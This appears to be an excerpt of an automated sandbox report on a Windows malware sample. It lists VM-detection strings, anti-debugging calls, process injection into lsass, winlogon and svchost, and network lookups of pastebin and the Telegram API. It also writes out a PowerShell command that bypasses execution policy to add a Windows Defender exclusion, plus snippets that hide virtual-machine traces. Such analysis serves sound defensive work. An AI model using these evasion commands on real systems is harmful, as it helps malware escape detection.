Source: svchost.exe, 00000027.00000002.2776549505.000001A6DDB02000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000,@
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-PowerShell%4Operational.evtx.21.dr	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match 'VMware' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))
Source: svchost.exe, 00000027.00000002.2776549505.000001A6DDB02000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.21.dr	Binary or memory string: VMware Virtual disk 2.0 6000c29198182f16b7176b0e680deba6PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: lsass.exe, 0000000A.00000000.1462343927.00000213BCE89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.21.dr	Binary or memory string: nonicVMware Virtual disk 6000c29198182f16b7176b0e680deba6
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000027.00000002.2775443523.000001A6DDA7C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.21.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000.ifo
Source: KrnlSetupSus.exe.0.dr	Binary or memory string: awErkRcloZTlIvVMCiVK0
Source: Microsoft-Windows-WER-PayloadHealth%4Operational.evtx.21.dr	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.21.dr	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: svchost.exe, 00000027.00000002.2774314138.000001A6DDA60000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: Microsoft-Windows-Partition%4Diagnostic.evtx.21.dr	Binary or memory string: VMwareVirtual disk2.06000c29198182f16b7176b0e680deba6PCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: KrnlSetupSus.exe, 00000003.00000002.2829186248.000000001BD52000.00000004.00000020.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462069296.00000213BCE13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2780494021.00000213BCE13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000000.1466674795.0000015870613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2773910162.0000015870613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.1503770067.000002C9AFC2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2777874109.000002C9AFC2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2765234124.000002C06F02A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000000.1510141758.000002C06F02A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2784677676.0000022382041000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.1514913660.0000022382041000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: lsass.exe, 0000000A.00000000.1462343927.00000213BCE89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: svchost.exe, 00000027.00000002.2774314138.000001A6DDA60000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: UDFBBSCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: &@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.21.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c29198182f16b7176b0e680deba6
Source: svchost.exe, 00000020.00000002.2770571570.000001EC20C2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: Microsoft-Windows-PowerShell%4Operational.evtx.21.dr	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.21.dr	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 0000000B.00000000.1466851581.000001587065D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000001E.00000000.1581250955.0000023314A02000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 0000000A.00000000.1462343927.00000213BCE89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: dwm.exe, 0000000C.00000003.2106459407.0000026DACB82000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: Microsoft-Windows-PowerShell%4Operational.evtx.21.dr	Binary or memory string: -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))

Source: C:\Windows\System32\dllhost.exe

API call chain: ExitProcess graph end node

graph_6-8071

Source: C:\ProgramData\KrnlSetupSus.exe

Process information queried: ProcessInformation

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Anti Debugging

Source: C:\ProgramData\KrnlSetupSus.exe

Code function: 3_2_00007FFB4ADF7B41 CheckRemoteDebuggerPresent,

3_2_00007FFB4ADF7B41

Source: C:\ProgramData\KrnlSetupSus.exe

Process queried: DebugPort

Source: C:\ProgramData\KrnlSetupSus.exe

Code function: 3_2_1C568270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_1C568270

Source: C:\ProgramData\Install.exe

Code function: 2_2_007C1868 GetProcessHeap,HeapAlloc,StrCpyW,StrCatW,StrCatW,StrCatW,StrCatW,StrCatW,StrCatW,

2_2_007C1868

Source: C:\ProgramData\KrnlSetupSus.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C5685D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_1C5685D4
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C568270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_1C568270
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C56CB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_1C56CB40
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000290EDD08270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00000290EDD08270
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000290EDD085D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00000290EDD085D4
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000290EDD0CB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00000290EDD0CB40
Source: C:\Windows\System32\winlogon.exe	Code function: 7_2_000002E9917585D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_000002E9917585D4
Source: C:\Windows\System32\winlogon.exe	Code function: 7_2_000002E99175CB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_000002E99175CB40
Source: C:\Windows\System32\winlogon.exe	Code function: 7_2_000002E991758270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_000002E991758270
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCECB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00000213BDCECB40
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCE8270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00000213BDCE8270
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCE85D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00000213BDCE85D4
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000158709DCB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00000158709DCB40
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000158709D8270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00000158709D8270
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000158709D85D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00000158709D85D4
Source: C:\Windows\System32\dwm.exe	Code function: 12_2_0000026DB15885D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_0000026DB15885D4
Source: C:\Windows\System32\dwm.exe	Code function: 12_2_0000026DB1588270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0000026DB1588270
Source: C:\Windows\System32\dwm.exe	Code function: 12_2_0000026DB158CB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0000026DB158CB40
Source: C:\Windows\System32\svchost.exe	Code function: 13_2_000002A3F0668270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_000002A3F0668270
Source: C:\Windows\System32\svchost.exe	Code function: 13_2_000002A3F066CB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_000002A3F066CB40
Source: C:\Windows\System32\svchost.exe	Code function: 13_2_000002A3F06685D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_000002A3F06685D4
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002C9AFBBCB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000002C9AFBBCB40
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002C9AFBB8270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_000002C9AFBB8270
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002C9AFBB85D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_000002C9AFBB85D4
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_000002C06FD48270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_000002C06FD48270
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_000002C06FD485D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_000002C06FD485D4
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_000002C06FD4CB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_000002C06FD4CB40
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000002917C3B85D4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_000002917C3B85D4
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000002917C3B8270 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_000002917C3B8270
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000002917C3BCB40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_000002917C3BCB40

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\svchost.exe	Domain query: pastebin.com
Source: C:\Windows\System32\svchost.exe	Domain query: api.telegram.org

.NET source code contains process injector

Source: 2.2.Install.exe.7c40b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 2.0.Install.exe.7c40b0.1.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 4.2.powershell.exe.1a84bcc81a8.13.raw.unpack, RunPE.cs	.Net Code: Run contains injection code
Source: 4.2.powershell.exe.1a854270000.16.raw.unpack, RunPE.cs	.Net Code: Run contains injection code

.NET source code references suspicious native API functions

Source: 2.2.Install.exe.7c40b0.1.raw.unpack, Unhook.cs	Reference to suspicious API methods: VirtualProtect((IntPtr)((long)moduleHandle + num5), (IntPtr)num6, 64u, out var oldProtect)
Source: 2.2.Install.exe.7c40b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: OpenProcess(128, inheritHandle: false, parentProcessId)
Source: 2.2.Install.exe.7c40b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtAllocateVirtualMemory(process, ref address, IntPtr.Zero, ref size2, 12288u, 64u)
Source: 2.2.Install.exe.7c40b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtWriteVirtualMemory(process, address, payload, num3, IntPtr.Zero)
Source: 2.2.Install.exe.7c40b0.1.raw.unpack, RunPE.cs	Reference to suspicious API methods: NtSetContextThread(thread, intPtr5)

Adds a directory exclusion to Windows Defender

Source: C:\ProgramData\KrnlSetupSus.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'
Source: C:\ProgramData\KrnlSetupSus.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\ProgramData\KrnlSetupSus.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\KrnlSetupSus.exe'

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_00000001400024C4 CreateProcessW,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,OpenProcess,TerminateProcess,

6_2_00000001400024C4

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 91722C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: BDCB2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 709A2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\dwm.exe EIP: B1552C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EFFC2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: AFB82C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6F7B2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7C382C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 82772C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 1B1D2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6AD42C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D3CA2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 73D32C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 21B2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: B9FD2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 54D82C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 57DA2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 33B42C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 74532C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 15742C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C8542C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 212A2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6D542C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D8952C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4332C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8E72C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 19362C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 31802C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: DD9B2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: FA1C2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\spoolsv.exe EIP: D52C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D2562C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5192C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D1A02C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B1012C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6E582C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC6C2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FAC2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1A932C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 88F92C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 857C2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DEDC2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A2112C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9D92C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FBEC2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7C622C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 59752C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AB572C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F95A2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9EEE2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2B2E2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CC6E2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7F82C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14DD2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 44F72C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2ED52C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E6AF2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 84C22C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A0712C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4DDB2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F4C92C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A50F2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4ACF2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 85DA2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10B62C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7CDE2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 94182C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 54372C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6CFB2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2C023A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E5CC2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 93A2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 91082C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 983B2C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4DB92C8C	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F023A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2C023A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8C23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A923A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FB23A0	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CB23A0	Jump to behavior
